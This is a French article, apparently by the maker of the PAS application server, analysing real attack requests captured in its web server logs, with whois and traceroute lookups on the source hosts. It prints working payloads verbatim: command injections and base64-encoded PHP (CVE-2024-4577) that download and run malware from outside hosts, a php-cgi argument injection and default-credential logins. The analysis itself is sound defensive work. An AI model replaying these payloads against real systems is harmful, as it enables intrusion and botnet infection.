Mise à jour du 10/11/2024.
Cet article expose des cas concrets d'attaques repérées via le mécanisme d'enregistrement des échanges.
[51.250.22.114:59132];[...];000001913d634f3e;2024-08-10T19:43:24;POST;http://www.jmpdom.ovh/cgi-bin/ViewLog.asp;;406;
Accept=*/*
Accept-Encoding=gzip, deflate
Connection=keep-alive
Content-Length=176
Content-Type=application/x-www-form-urlencoded
Host=127.0.0.1
User-Agent=r00ts3c-owned-you
remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://176.123.168.160/arm7;chmod+777+arm7;./arm7+zyxel.selfrep;rm+-rf+La requête semble vouloir viser un serveur IIS via une page ASPX donnant des informations d'historisation. Le contenu des données de la méthode POST montre qu'en fait, c'est un pare-feu Zyxel tournant sur une architecture ARMv7 sous une appliance Linux qui est visé à l'issue d'une tentative de téléchargement (wget).
L'analyse par l'outil whois de l'adresse de l'hôte distant montre clairement l'origine de l'attaque :
whois 51.250.22.114
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See https://apps.db.ripe.net/docs/HTML-Terms-And-Conditions
% Note: this output has been filtered.
% To receive output for a database update, use the "-B" flag.
% Information related to '51.250.0.0 - 51.250.127.255'
% Abuse contact for '51.250.0.0 - 51.250.127.255' is 'cloud-abuse@yandex-team.ru'
inetnum: 51.250.0.0 - 51.250.127.255
netname: RU-YANDEXCLOUD
country: RU
org: ORG-YL62-RIPE
admin-c: YCNO1-RIPE
tech-c: YCNO1-RIPE
status: LEGACY
mnt-by: RIPE-NCC-LEGACY-MNT
mnt-by: mnt-ru-yandexcloud-1
created: 2021-09-09T15:12:53Z
last-modified: 2021-09-27T10:17:40Z
source: RIPE
organisation: ORG-YL62-RIPE
org-name: Yandex.Cloud LLC
country: RU
org-type: LIR
address: 16 Lva Tolstovo str
address: 119021
address: Moscow
address: RUSSIAN FEDERATION
phone: +74957397000
admin-c: YCNO1-RIPE
tech-c: YCNO1-RIPE
abuse-c: AR48776-RIPE
mnt-ref: mnt-ru-yandexcloud-1
mnt-by: RIPE-NCC-HM-MNT
mnt-by: mnt-ru-yandexcloud-1
created: 2018-10-17T08:12:43Z
last-modified: 2020-12-16T12:18:28Z
source: RIPE # Filtered
role: Yandex Cloud Network Operations
address: Yandex Cloud
address: 16 Lva Tolstogo st.
address: 119021
address: Moscow
address: Russian Federation
phone: +7 495 739 7000
fax-no: +7 495 739 7070
remarks: trouble: ------------------------------------------------------
remarks: trouble: Points of contact for Yandex Cloud Network Operations
remarks: trouble: ------------------------------------------------------
remarks: trouble: Routing and peering issues: cloud-noc@yandex.net
remarks: trouble: SPAM issues: cloud-abuse@yandex-team.ru
remarks: trouble: Network security issues: cloud-abuse@yandex-team.ru
remarks: trouble: ------------------------------------------------------
admin-c: AG25016-RIPE
admin-c: KP4895-RIPE
admin-c: VK5347-RIPE
admin-c: MS53754-RIPE
tech-c: AG25016-RIPE
tech-c: KP4895-RIPE
tech-c: VK5347-RIPE
tech-c: MS53754-RIPE
mnt-by: mnt-ru-yandexcloud-1
created: 2019-07-29T16:50:06Z
last-modified: 2022-03-22T10:54:34Z
source: RIPE # Filtered
nic-hdl: YCNO1-RIPE
abuse-mailbox: cloud-abuse@yandex-team.ru
% Information related to '51.250.0.0/17AS200350'
route: 51.250.0.0/17
origin: AS200350
mnt-by: mnt-ru-yandexcloud-1
mnt-by: ru-yacloud-1-mnt
created: 2021-09-27T15:58:42Z
last-modified: 2021-09-27T15:58:42Z
source: RIPE
% This query was served by the RIPE Database Query Service version 1.113.2 (ABERDEEN)Il s'agit très probablement d'un proxy russe. Les données HTTP de la requête permettent même de préciser une origine (mais pas nécessairement celle de l'attaquant) :
whois 176.123.168.160 % This is the RIPE Database query service. % The objects are in RPSL format. % % The RIPE Database is subject to Terms and Conditions. % See https://apps.db.ripe.net/docs/HTML-Terms-And-Conditions % Note: this output has been filtered. % To receive output for a database update, use the "-B" flag. % Information related to '176.123.168.0 - 176.123.175.255' % Abuse contact for '176.123.168.0 - 176.123.175.255' is 'abuse@aoiot.ru' inetnum: 176.123.168.0 - 176.123.175.255 netname: RU-JSCIOT country: RU org: ORG-JI50-RIPE admin-c: SAB248-RIPE tech-c: PS24704-RIPE status: ASSIGNED PI mnt-by: mnt-ru-jsciot-1 mnt-by: RIPE-NCC-END-MNT created: 2023-02-21T08:48:30Z last-modified: 2023-02-21T08:48:30Z source: RIPE organisation: ORG-JI50-RIPE org-name: JSC IOT country: RU org-type: LIR address: ter. Skolkovo Innovation Center, Bolshoy Blvd, d. 42 pp 1 fl address: 121205 address: Moscow address: RUSSIAN FEDERATION phone: +7 (495) 133-04-86 tech-c: PS24704-RIPE admin-c: SAB248-RIPE abuse-c: INO22-RIPE mnt-ref: mnt-ru-jsciot-1 mnt-by: RIPE-NCC-HM-MNT mnt-by: mnt-ru-jsciot-1 created: 2018-10-03T08:17:05Z last-modified: 2022-05-19T10:28:24Z source: RIPE # Filtered person: Pinigin Sergey address: 121205, Russia, Moscow address: ter. Skolkovo Innovation Center, Bolshoy Blvd, d. 42 pp 1 fl phone: +7 (495) 133-04-86 nic-hdl: PS24704-RIPE mnt-by: mnt-ru-jsciot-1 created: 2022-04-07T02:26:12Z last-modified: 2022-04-07T02:26:12Z source: RIPE person: Evgenij Bykov address: 121205, Russia, Moscow address: ter. Skolkovo Innovation Center, Bolshoy Blvd, d. 42 pp 1 fl phone: +7 (495) 133-04-86 nic-hdl: SAB248-RIPE mnt-by: mnt-ru-jsciot-1 created: 2018-10-03T08:17:04Z last-modified: 2024-01-29T09:29:43Z source: RIPE % Information related to '176.123.168.0/23AS29182' route: 176.123.168.0/23 origin: AS29182 mnt-by: mnt-ru-jsciot-1 created: 2023-03-03T07:57:33Z last-modified: 2023-03-03T07:57:33Z source: RIPE % This query was served by the RIPE Database Query Service version 1.113.2 (ABERDEEN
La commande
traceroute -I --max-hops=60 176.123.168.160précise le nom de domaine de l'adresse IP interne aux données de la requête :
...
3 station1.multimania.isdnet.net (194.149.174.98) 8.871 ms 8.907 ms 9.094 ms
4 cjscrascom.par.franceix.net (37.49.237.141) 17.986 ms 17.981 ms 17.975 ms
5 msk-m9-cr5.ae667-3004.rascom.as20764.net (80.64.97.58) 53.730 ms 53.725 ms 53.718 ms
6 tspu-6364.no-hope.msk-m9-cr5.rascom.as20764.net (80.64.97.59) 64.409 ms 62.694 ms 62.636 ms
7 SNA.spb-imq-cr1.rascom.as20764.net (80.64.102.6) 53.722 ms 53.527 ms 54.116 ms
8 SNA.spb-imq-cr1.rascom.as20764.net (80.64.102.7) 53.961 ms 53.917 ms 53.882 ms
9 * * *
10 * * *
11 bober.ru (176.123.168.160) 58.422 ms 58.515 ms 58.981 msUne analyse plus poussé de l'hôte indique l'ouverture des ports 22 (serveur SSH v8.7), 80 (serveur Apache 2.5.57) et 3306 (serveur de bases de données MariaDb). Les méthodes HTTP supportées sont GET, POST, HEAD, OPTIONS et TRACE. Le système d'exploitation est CentOS.
[47.236.11.101:40416];[...];0000019191d5730d;2024-08-27T05:16:10;POST;http://?.?.?.?:80/cgi-bin/../../../../../../../../../../bin/sh;;406;1
Accept=*/* Connection=keep-alive Content-Length=101 Content-Type=text/plain Host=X.Y.Z.T:80 Upgrade-Insecure-Requests=1 User-Agent=Custom-AsyncHttpClient X=$(curl http://91.194.55.94/sh || wget http://91.194.55.94/sh -O-); echo "$X" | sh -s apache.selfrep
Ce qui est intéressant ici est le fait que l'attaque du serveur se fait aussi via une méthode POST. L'URL en elle-même sert juste à activer la commutation vers le flux CGI du serveur. Toutefois, si on analyse le corps HTTP soumis avec la requête, on y trouve le véritable intérêt de cette dernière. Il s'agit de charger un script shell en vue de prendre la main sur un serveur Apache. Ce type d'attaque est très fréquent.
La commande whois 91.194.55.94 renvoi vers la société TECHNOX via une adresse IP turque. La commande traceroute 91.194.55.94 permet d'en identifier le founisseur via son domaine meric.net.tr qui est un fournisseur et greffier turc. Le script, s'il arrive à s'exécuter, analyse les dossiers et l'architecture du système supportant le serveur puis charge un exécutable en fonction des résultats trouvés, exécutable sauvegardé sous .redtail.
Il est à noter que ce type d'attaque est très répandues actuellement. Il est assez aisé de vérifier son activité via la recherche du fichier .redtail.
Il existe une variante à cette attaque via une méthode GET où l'on trouve les commande du corps HTTP codées en base64 avec un décodage effectué par un script PHP :
<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzkxLjE5NC41NS45NC9zaCB8fCB3Z2V0IGh0dHA6Ly85MS4xOTQuNTUuOTQvc2ggLU8tKTsgZWNobyAiJFgiIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw")); echo(md5("Hello CVE-2024-4577")); ?>Si on décode le code base64 on obtient sans surprise :
X=$(curl http://91.194.55.94/sh || wget http://91.194.55.94/sh -O-); echo "$X" | sh -s cve_2024_4577.selfrep
Là encore cette variante est très répandue. Ces deux premiers exemples montrent que les vulnérabilités les plus attendues touchent au mécanisme CGI qui permet l'exécution automatique de scripts et à l'interpréteur PHP qui permet lui aussi d'exécuter des scripts de manière automatique. Pour ces raisons, ces deux mécanismes ne sont pas pris en charge par le serveur PAS.
http:///www.jmpdom.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Accept=*/*
Connection=keep-alive
Content-Length=33
Content-Type=text/plain
Host=?.?.?.?:80
Upgrade-Insecure-Requests=1
User-Agent=Custom-AsyncHttpClient
<?php echo(md5("Hello PHPUnit"));Les premières versions de l'interpréteur PHP permettaient d'obtenir un certain nombre de précieux renseignements sur la configuration du site. Des leçons ont été tirées des failles introduites par ce mécanisme et il est difficle aujourd'hui d'obtenir des renseignements par ce moyen. Pour savoir si le mécansisme PHP est actif, on injecte dans le corps de la requête HTTP le code <?php echo(md5("Hello PHPUnit"));. Si au retour le code de hachage MD5 de la phase Hello PHPUnit est retrouvé alors le serveur distant dispose d'un interpréteur PHP.
On ne peut pas vraiment appeler cette procédure une "attaque" dans la mesure où elle est non intrusive et purement informative. Cependant elle donne le moyen à un attaquant de cibler les requêtes suivantes vers le moteur PHP avec sans doute un objectif moins neutre.
Ce type d'appel est extrêmement répandu et confirme le risque lié à l'utilisation de PHP.
https://www.jmpdom.ovh/ [POST]
Accept=*/* Accept-Encoding=gzip, deflate Connection=keep-alive Content-Length=20 Content-Type=application/x-www-form-urlencoded Host=?.?.?.? User-Agent=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 ---------- CORPS HTTP ---------- 0x%5B%5D=androxgh0st
https://www.jmpdom.ovh/sdk [POST]
Connection=close
Content-Length=441
Host=?.?.?.?
User-Agent=Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)
---------- CORPS HTTP ----------
<soap:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header>
<operationID>00000001-00000001</operationID>
</soap:Header><soap:Body>
<RetrieveServiceContent xmlns="urn:internalvim25">
<_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance</_this>
</RetrieveServiceContent>
</soap:Body>
</soap:Envelope>https://www.jmpdom.ovh/ [POST]
<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="vpn" type="init" aggregate-auth-version="2">
<version who="vpn">3.1.05160</version>
<device-id device-type="iPhone13,1" platform-version="15.0.1" unique-id="ABCDEF1234567890">iOS</device-id>
<mac-address-list>
<mac-address>01:23:45:67:89:AB</mac-address>
</mac-address-list>
<group-select>VPN</group-select>
<group-access>https://?.?.?.?:443</group-access>
</config-auth>http://www.jmpdom.ovh:80/boaform/admin/formLogin [POST]
Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding=gzip, deflate
Accept-Language=en-GB,en;q=0.5
Connection=keep-alive
Content-Length=29
Content-Type=application/x-www-form-urlencoded
Host=?.?.?.?:80
Origin=http://?.?.?.?:80
Referer=http://?.?.?.?:80/admin/login.asp
Upgrade-Insecure-Requests=1
User-Agent=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
---------- CORPS HTTP ----------
username=admin&psd=Feefifofumhttp://?.?.?.?:0/cgi-bin/ViewLog.asp [POST]
Accept=*/*
Accept-Encoding=gzip, deflate
Connection=keep-alive
Content-Length=176
Content-Type=application/x-www-form-urlencoded
Host=127.0.0.1
User-Agent=r00ts3c-owned-you
---------- CORPS HTTP ----------
remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://5.59.248.92/Yboats.arm7;chmod+777+Yboats.arm7;./Yboats.arm7+zyxehttp://?.?.?.?:80/login.html [POST]
Accept-Encoding=gzip Content-Length=44 Content-Type=application/x-www-form-urlencoded Host=?.?.?.?:80 User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 ---------- CORPS HTTP ---------- uri=&username=ubnt&password=ubnt&login=Login
http://?.?.?.?:80/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input
Content-Length=124
Content-Type=application/x-www-form-urlencoded
Host=www.jmpdom.ovh:80
---------- CORPS HTTP ----------
<?php echo eval(base64_decode('ZWNobyAnW01dJzsgc3lzdGVtKCdwaW5nIC1sIDYwIC1uIDYgMTkzLjMyLjE2Mi4zNCcpOyBlY2hvICdbUF0nOw')); ?>Décodage : echo '[M]'; system('ping -l 60 -n 6 193.32.162.34'); echo '[P]';
http://www.jmpdom.ovh/cgi-bin/hotspotlogin.cgi [POST]
Accept-Encoding=gzip Content-Length=130 Host=?.?.?.?:80 User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 ---------- CORPS HTTP ---------- send=1&uamip="; cd /tmp;rm -rf mips;wget http://91.92.243.233/fquoqU/jhwwps;chmod 777 jhwwps;./jhwwps tplink.mips;rm -rf jhwwps #"
https://www.jmpdom.ovh:443/doc/jm/index.html
Content-Length=474
Content-Type=application/xml
Host=82.65.130.138:443
Referer=https://82.65.130.138:443/
User-Agent=Go-http-client/1.1
X-Aggregate-Auth=1
---------- CORPS HTTP ----------
<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="vpn" type="init" aggregate-auth-version="2">
<version who="vpn">3.1.05160</version>
<device-id device-type="iPhone13,1" platform-version="15.0.1" unique-id="ABCDEF1234567890">iOS</device-id>
<mac-address-list>
<mac-address>01:23:45:67:89:AB</mac-address>
</mac-address-list>
<group-select>VPN</group-select>
<group-access>https://www.jmpdom.ovh:443</group-access>
</config-authNous ne nous interressons ici qu'aux attaques des serveurs Web. Des analyses effectuées on en déduit que les plates-formes les plus attaquées sont :
Il est surprenant de constater le faible nombre d'attaques vers un serveur Tomcat (URL de type /manager ou /manager/html).
On constate aussi l'attaque systématique de systèmes d'information ciblés comme par exemple /actuator/health.
Enfin, les pays d'origine des attaques sont les USA (de loin les plus importantes), la Chine (y compris Hong-Kong), Singapour, la Russie mais aussi l'Iran. Depuis le continent européen citons les Pays-Bas (les plus nombreuses), la Grande-Bretagne, la Turquie, l'allemagne et l'italie.
Ce n'est pas un hasard de constater qu'en Europe, ce sont les pays aux lois numériques les plus permissives (ou aux conséquences les moins risquées) qui accueillent les serveurs proxy d'où proviennent la plupart des attaques.
Toute organisation qui décide de mettre en ligne un serveur à quelques fins que ce soit doit être consciente que moins de 15 minutes après la mise en ligne d'un serveur des robots commenceront à tenter de l'analyser. En conséquence, toute mise en ligne d'un serveur doit s'accompganer de mécanismes de protection adaptés aux risques encourus en cas de prise de contrôle ou d'arrêt brutal.
C'est pour cette raison que nous avons développé le serveur d'application PAS. Ce dernier ne s'appuie sur aucune des plates-formes à risque citées supra. De plus, ce serveur dispose de son propre mécanisme de protection (personnalisable) ainsi que de la capacité à assurer une suivi fin des échanges à des fins soit d'analyses ultérieures, soit de réaction immédiate.
Rédaction par Jean-Marie Piatte (1983-2021)